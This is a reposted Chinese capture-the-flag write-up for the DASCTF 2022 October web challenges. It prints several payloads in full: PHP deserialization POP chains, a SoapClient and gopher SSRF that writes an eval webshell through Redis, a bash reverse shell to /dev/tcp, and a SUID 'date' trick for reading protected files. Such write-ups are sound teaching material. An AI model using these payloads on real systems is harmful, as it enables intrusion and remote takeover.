EasyPOP 题目环境是 PHP 7.4, 图省事直接把所有属性的类型都改成 public 起点是 sorry 类的 __destruct(), 由 echo $this->hint 调用到 show 类的 __toString()
题目环境是 PHP 7.4, 图省事直接把所有属性的类型都改成 public
起点是 sorry 类的 __destruct()
, 由 echo $this->hint
调用到 show 类的 __toString()
方法, 然后通过执行 $this->ctf->show()
跳转 secret_code 类的 __call()
, 进而到 show()
方法, 在 show()
方法中访问不存在的属性, 跳转到 sorry 类的 __get()
, 最后通过 $name()
跳到 fine 类的 __invoke()
pop 链构造如下
phpclass fine{ public $cmd; public $content;}class show{ public $ctf; public $time;}class sorry{ public $name; public $passWord; public $hint; public $key;}class secret_code{ public $code;}$e = new fine();$e->cmd = 'system';$e->content = 'cat /flag';$d = new sorry();$d->key = $e;$c = new secret_code();$c->code = $d;$b = new Show();$b->ctf = $c;$a = new sorry();$a->name = '123';$a->password = '123';$a->hint = $b;echo serialize($a);
最后改一下数字绕过 __wakeup
Http://f9eac3ed-9425-4fe7-a009-aad41f9db212.node4.buuoj.cn:81/?pop=O:5:"sorry":4:{s:4:"name";s:3:"123";s:8:"password";s:3:"123";s:4:"hint";O:4:"show":2:{s:3:"ctf";O:11:"secret_code":1:{s:4:"code";O:5:"sorry":4:{s:4:"name";N;s:8:"password";N;s:4:"hint";N;s:3:"key";O:4:"fine":3:{s:3:"cmd";s:6:"system";s:7:"content";s:9:"cat /flag";}}}s:4:"time";N;}s:3:"key";N;}
cancan need 有任意文件读取
http://745b93ee-b378-4803-b84e-52f9e7b78d2a.node4.buuoj.cn:81/file.php?m=show&filename=file.php
file.php
............
error_reporting(0);
session_start();
include 'class.php';
if($_SESSION['isLogin'] !== true){
die("");
}
$fORM = '
';$file = new file();
switch ($_GET['m']) {
case 'upload':
if(empty($_FILES)){die($form);}
$type = end(explode(".", $_FILES['file']['name']));
if ($file->check($type)) {
die($file->upload($type));
}else{
die('你食不食油饼');
}
break;
case 'show':
die($file->show($_GET['filename']));
break;
case 'rm':
$file->rmfile();
die("全删干净了捏");
break;
case 'loGout':
session_destroy();
die("");
break;
default:
echo '
break;
}
?>
............
class.php
‘
class User
{
public $username;
public function __construct($username){
$this->username = $username;
$_SESSION['isLogin'] = True;
$_SESSION['username'] = $username;
}
public function __wakeup(){
$cklen = strlen($_SESSION["username"]);
if ($cklen != 0 and $cklen <= 6) {
$this->username = $_SESSION["username"];
}
}
public function __destruct(){
if ($this->username == '') {
session_destroy();
}
}
}
class File
{
#更新黑名单为白名单,更加的安全
public $white = array("jpg","png");
public function show($filename){
echo '
';
if(empty($filename)){die();}
return '';
}
public function upload($type){
$filename = "dasctf".md5(time().$_FILES["file"]["name"]).".$type";
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $filename);
return "Upload success! Path: upload/" . $filename;
}
public function rmfile(){
system('rm -rf /var/www/html/upload/*');
}
public function check($type){
if (!in_array($type,$this->white)){
return false;
}
return true;
}
}
#更新了一个恶意又有趣的Test类
class Test
{
public $value;
public function __destruct(){
chdir('./upload');
$this->backdoor();
}
public function __wakeup(){
$this->value = "Don't make dream.Wake up plz!";
}
public function __toString(){
$file = substr($_GET['file'],0,3);
file_put_contents($file, "Hack by $file !");
return 'Unreachable! :)';
}
public function backdoor(){
if(preg_match('/[A-Za-z0-9?$@]+/', $this->value)){
$this->value = 'nono~';
}
system($this->value);
}
}
Test 类可以利用, 第一时间想的是 phar 反序列化
可以用 .
执行命令来绕过正则
思路就是先上传 phar 文件, 然后上传一个 jpg, 其内容包含要执行的命令
注意 jpg 的名称要在 phar 的前面, 例如 phar 的名称是 dasctfe4.jpg
, 包含命令的 jpg 名称必须是 dasctfc2.jpg
或者 dasctf01.jpg
(ascii 码较小)
不过试的时候发现绕过 wakeup 好像不太行…
然后想起来做 EasyLove 题的时候根目录下有个 start.sh 部署脚本, 结合题目的描述 tips:flag在/目录下的一个文件里
, 索性直接读取 start.sh 看看
读取 /ghjsdk_F149_H3re_asdasfc 得到 flag
根据题目描述的 Redis, 猜测是通过 ssrf + redis 来 getshell
$this->love = new $this->wllm($this->arsenetang,$this->l61q4cheng);
这句很明显是要通过某个类来执行 ssrf
众所周知 redis 的协议很宽松, 支持用 http 来发包, 而 php 原生的 SoapClient 类可以发送 http
payload 如下
class swpu{
public $wllm;
public $arsenetang;
public $l61q4cheng;
public $love;
}
$a = new swpu();
$a->wllm = 'SoapClient';
$a->arsenetang = null;
$target = 'http://127.0.0.1:6379/';
$poc = "flushall\r\nconfig set dir /var/www/html/\r\nconfig set dbfilename shell.php\r\nset xzxzxz '=eval(\$_REQUEST[1])?>'\r\nsave";
$a->l61q4cheng = array('location'=>$target, 'uri'=>"hello\r\n".$poc."\r\nhello");
echo urlencode(serialize($a));
试的时候一直卡住 (正常现象), 访问 shell.php 也显示 404
于是猜测 redis 可能有认证, 看了下题目有 hint 类, 通过 file_get_contents()
来获得 hint.php 的内容
直接反序列化 hint 无回显, 结果想试试 file_get_contents()
+ gopher 的时候阴差阳错地读到了 hint.php
class hint{
public $hint;
}
$a = new hint();
$a->hint = 'gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2422%0D%0A%0A%0A%3C%3Fphp%20phpinfo%28%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A';
echo serialize($a);
http://0021bfdb-5d2b-42ff-9505-49d23c4aa0e2.node4.buuoj.cn:81/?hello=O:4:"hint":1:{s:4:"hint";s:404:"gopher://127.0.0.1:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2422%0D%0A%0A%0A%3C%3Fphp%20phpinfo%28%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A";}
猜测 20220311 就是 redis 的密码
于是最终 payload 如下
class swpu{
public $wllm;
public $arsenetang;
public $l61q4cheng;
public $love;
}
$a = new swpu();
$a->wllm = 'SoapClient';
$a->arsenetang = null;
$target = 'http://127.0.0.1:6379/';
$poc = "auth 20220311\r\nflushall\r\nconfig set dir /var/www/html/\r\nconfig set dbfilename shell.php\r\nset xzxzxz '=eval(\$_REQUEST[1])?>'\r\nsave";
$a->l61q4cheng = array('location'=>$target, 'uri'=>"hello\r\n".$poc."\r\nhello");
echo urlencode(serialize($a));
O%3A4%3A%22swpu%22%3A4%3A%7Bs%3A4%3A%22wllm%22%3Bs%3A10%3A%22SoapClient%22%3Bs%3A10%3A%22arsenetang%22%3BN%3Bs%3A10%3A%22l61q4cheng%22%3Ba%3A2%3A%7Bs%3A8%3A%22location%22%3Bs%3A22%3A%22http%3A%2F%2F127.0.0.1%3A6379%2F%22%3Bs%3A3%3A%22uri%22%3Bs%3A145%3A%22hello%0D%0Aauth+20220311%0D%0Aflushall%0D%0Aconfig+set+dir+%2Fvar%2Fwww%2Fhtml%2F%0D%0Aconfig+set+dbfilename+shell.php%0D%0Aset+xzxzxz+%27%3C%3F%3Deval%28%24_REQUEST%5B1%5D%29%3F%3E%27%0D%0Asave%0D%0Ahello%22%3B%7Ds%3A4%3A%22love%22%3BN%3B%7D
访问 shell.php
蚁剑连接, 发现 flag 打不开
root 权限, 估计是要提权
先用 bash 反弹 shell, 直接输入会有点问题, 解决方法是先在 bash.sh 里写入反弹命令, 然后通过 bash bash.sh
来执行
bash -i >& /dev/tcp/xxxx/yyyy 0>&1
查找带 SUID 的文件
find / -perm -u=s -type f 2>/dev/null
发现有 date, 于是直接用 date 来读取 flag
date -f /hereisflag/flllll111aaagg
参考原文: https://exp10it.cn/2022/10/dasctf-2022-十月赛-web-部分-writeup/ 来自为知笔记(Wiz)来源地址:https://blog.csdn.net/m0_64910183/article/details/127569484
--结束END--
本文标题: DASCTF2022 ——十月赛 Web 部分Writeup
本文链接: https://lsjlt.com/news/426043.html(转载时请注明来源链接)
有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
2024-02-29
回答
回答
回答
回答
回答
回答
回答
回答
回答
回答
0